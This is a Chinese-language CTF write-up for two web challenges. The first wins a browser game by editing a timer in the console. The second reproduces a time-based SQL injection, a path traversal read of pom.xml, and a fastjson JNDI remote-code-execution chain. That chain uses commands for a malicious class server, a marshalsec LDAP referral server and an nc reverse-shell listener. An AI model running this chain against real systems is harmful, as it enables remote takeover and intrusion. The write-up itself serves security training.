Ezgame
在网上找到这个游戏的源码,然后在game.js中搜索win关键词,发现当winTimer.IsSet()返回True时,游戏胜利。
然后在其他文件里找找,就可以在gameEngine.js中找到Timer类的isSet方法:
IsSet() { return this.endTime > 0; }
所以我们可以直接在控制台输入:winTimer.endTime = 1
然而,有大佬直接从网站源码中解出了flag:
在源码里面找到了一堆奇怪的东西:
丢到一个在线加密网站,解密得到flag:
tql
(原来直接丢到控制台回车就出来了。。。
realezjvav[复现]
第一关是一个笛卡尔积注入,其实当时fuzz出来之后发现sleep benchmark RLIKE get_lock
都被ban了,只剩笛卡尔积了,奈何还是太菜了,一直没办法延时,最后又跑去想是不是别的方向。。。
自己写的脚本:(本来想用三个table的组合,会延时1s左右,但是不知道为啥有时候正常的请求会有5s的延时,所以改用两个table加一个column,这样大概会有13秒左右的延时,然后时差>10s即可;time.sleep(0.1)
是怕buu的容器429Too Many Requests)
|
|
登录进去之后是一个头像选择页面,有一个创捷角色功能,burp抓包,传的是json数据:
然后发现图片的显示是根据:/searchimage?img=2.png
,尝试读取flag,但是并不行,因为对java项目的目录结构不清楚,所以啥也读不到,wp里面读取了../../../../../pom.xml
,并且在里面找到了fastjson依赖:
然后根据红队武器库:fastjson小于1.2.68全漏洞RCE利用exp这篇文章进行复现。
构造恶意java类并起一个http服务
这里用到了34566 34567 34568
三个端口,34566是我们反弹shell的监听端口,写在Exploit.java里面(把官方wp的ip改成自己的vps,端口改成34566);34567是恶意java类的端口,先使用javac Exploit.java
生成Exploit.class,然后使用python3 -m http.server 34567
起一个http服务:
然后再浏览器中输入IP地址和端口34567看看有没有开起来:
如果没有,得把vps防火墙中相应的端口打开。
开启LDAP服务
34568是ldap服务的端口
git clone https://hub.fastgit.org/mbechler/marshalsec.git
然后cd marshalsec
接着build(可能需要先sudo apt install maven
):
mvn clean package -DskipTests
等待一段时间完成之后会生成一个target目录,cd target
然后run:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://xx.xx.xx.xx:34567/#Exploit 34568
最后nc -lvvp 34566
监听我们反弹shell的端口
用payload攻击题目服务器
在刚刚抓包发送json数据的地方把我们的payload发送过去(使用Unicode编码):
然后反弹shell成功,cat即可拿到flag: